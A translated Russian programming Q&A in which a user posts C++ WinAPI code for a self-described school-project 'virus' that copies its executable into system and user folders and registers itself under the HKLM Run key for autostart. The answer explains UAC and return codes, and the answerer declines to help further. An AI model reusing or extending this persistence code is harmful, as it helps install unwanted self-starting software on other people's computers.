Невозможно записать в реестр

0

Я пишу экспериментальный вирус для своего школьного проекта. Он должен скопировать себя, начать сам.. Я начал с этой статьи, и я пришел к этому:

#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;

void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD  bufSize = MAX_PATH;

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];

if(!CopyFile(pathtofile, sysfull, false))
{
    sysfull = L"C:\\Users\\Public\\virus.exe";
    if(!CopyFile(pathtofile, sysfull, false))
    {
        GetUserName(user, &bufSize);
        std::wstring u(L"C:\\Users\\");
        u += std::wstring(user);
        u += std::wstring(L"\\Documents\\virus.exe");
        sysfull = &u[0];
        CopyFile(pathtofile, sysfull, false);
    }
}

HKEY hKey;

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}

Проблема заключается в том, что я смотрю в regedit под HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run нового ключа нет. RegOpenKeyEx и RegSetValueEx возвращают true, и все, кажется, работает нормально, но это не так, и я понятия не имею, почему.

Я нахожусь в Windows 8 и использую VS12.

Теги:
winapi
virus
registry

1 ответ

1

Windows Vista и более поздние блокируют доступ к записи в определенные уязвимые местоположения, такие как HKEY_LOCAL_MACHINE_KEY, C:\Windows и т.д., С помощью механизма, известного как UAC. Если UAC включен (по умолчанию он установлен), пользователи уровня администратора по умолчанию имеют ограниченный набор привилегий, и программам необходимо использовать метод, известный как возвышение, чтобы получить полные права администратора. Кроме того, вы можете запустить свою программу в качестве администратора с помощью контекстного меню, чтобы получить полный доступ.

В любом случае, при включении UAC пользователю необходимо одобрить возвышение через диалог до предоставления разрешений.

Реестр работает как RegOpenKeyEx() возвращает 0 при успехе, а код ошибки при ошибке - не true/false. Если вы правильно проверите код возврата, вы увидите, что они возвращают 5, то есть ERROR_ACCESS_DENIED.

  • 0
    Учитывая, что это должен быть вирус, повышение уровня не похоже на решение. Есть ли другой способ сделать запуск программы при запуске?
  • 0
    Мне не очень удобно помогать вам писать вирус, даже если это для школьного проекта. Если вы проведете какое-то исследование, вы можете найти способы обойти это - я просто объясняю, как работает система.

Ещё вопросы

Сообщество Overcoder
Наверх
Меню